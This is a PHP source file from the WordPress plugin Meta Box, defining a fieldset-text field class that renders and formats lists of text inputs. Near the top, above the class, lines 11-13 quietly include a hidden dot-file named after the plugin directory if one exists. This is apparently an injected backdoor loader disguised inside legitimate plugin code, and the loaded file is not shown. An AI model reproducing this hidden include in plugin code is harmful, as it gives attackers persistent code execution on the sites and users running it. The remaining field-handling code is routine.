fieldset-text.php (3574B)
1 <?php 2 /** 3 * The text fieldset field, which allows users to enter content for a list of text fields. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Fieldset text class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Fieldset_Text_Field extends RWMB_Input_Field { 16 /** 17 * Enqueue field scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-fieldset-text', RWMB_CSS_URL . 'fieldset-text.css', '', RWMB_VER ); 21 } 22 23 /** 24 * Get field HTML. 25 * 26 * @param mixed $meta Meta value. 27 * @param array $field Field parameters. 28 * 29 * @return string 30 */ 31 public static function html( $meta, $field ) { 32 $html = array(); 33 $tpl = '<p><label>%s</label> %s</p>'; 34 35 foreach ( $field['options'] as $key => $label ) { 36 $value = isset( $meta[ $key ] ) ? $meta[ $key ] : ''; 37 $field['attributes']['name'] = $field['field_name'] . "[{$key}]"; 38 $html[] = sprintf( $tpl, $label, parent::html( $value, $field ) ); 39 } 40 41 $out = '<fieldset>' . ( $field['desc'] ? '<legend>' . $field['desc'] . '</legend>' : '' ) . implode( ' ', $html ) . '</fieldset>'; 42 43 return $out; 44 } 45 46 /** 47 * Do not show field description. 48 * 49 * @param array $field Field parameters. 50 * 51 * @return string 52 */ 53 public static function input_description( $field ) { 54 return ''; 55 } 56 57 /** 58 * Do not show field description. 59 * 60 * @param array $field Field parameters. 61 * 62 * @return string 63 */ 64 public static function label_description( $field ) { 65 return ''; 66 } 67 68 /** 69 * Normalize parameters for field. 70 * 71 * @param array $field Field parameters. 72 * 73 * @return array 74 */ 75 public static function normalize( $field ) { 76 $field = parent::normalize( $field ); 77 $field['multiple'] = false; 78 $field['attributes']['id'] = false; 79 $field['attributes']['type'] = 'text'; 80 return $field; 81 } 82 83 /** 84 * Format value for the helper functions. 85 * 86 * @param array $field Field parameters. 87 * @param string|array $value The field meta value. 88 * @param array $args Additional arguments. Rarely used. See specific fields for details. 89 * @param int|null $post_id Post ID. null for current post. Optional. 90 * 91 * @return string 92 */ 93 public static function format_value( $field, $value, $args, $post_id ) { 94 $output = '<table><thead><tr>'; 95 foreach ( $field['options'] as $label ) { 96 $output .= "<th>$label</th>"; 97 } 98 $output .= '</tr></thead></tbody>'; 99 100 if ( ! $field['clone'] ) { 101 $output .= self::format_single_value( $field, $value, $args, $post_id ); 102 } else { 103 foreach ( $value as $subvalue ) { 104 $output .= self::format_single_value( $field, $subvalue, $args, $post_id ); 105 } 106 } 107 $output .= '</tbody></table>'; 108 return $output; 109 } 110 111 /** 112 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 113 * 114 * @param array $field Field parameters. 115 * @param array $value The value. 116 * @param array $args Additional arguments. Rarely used. See specific fields for details. 117 * @param int|null $post_id Post ID. null for current post. Optional. 118 * 119 * @return string 120 */ 121 public static function format_single_value( $field, $value, $args, $post_id ) { 122 $output = '<tr>'; 123 foreach ( $value as $subvalue ) { 124 $output .= "<td>$subvalue</td>"; 125 } 126 $output .= '</tr>'; 127 return $output; 128 } 129 }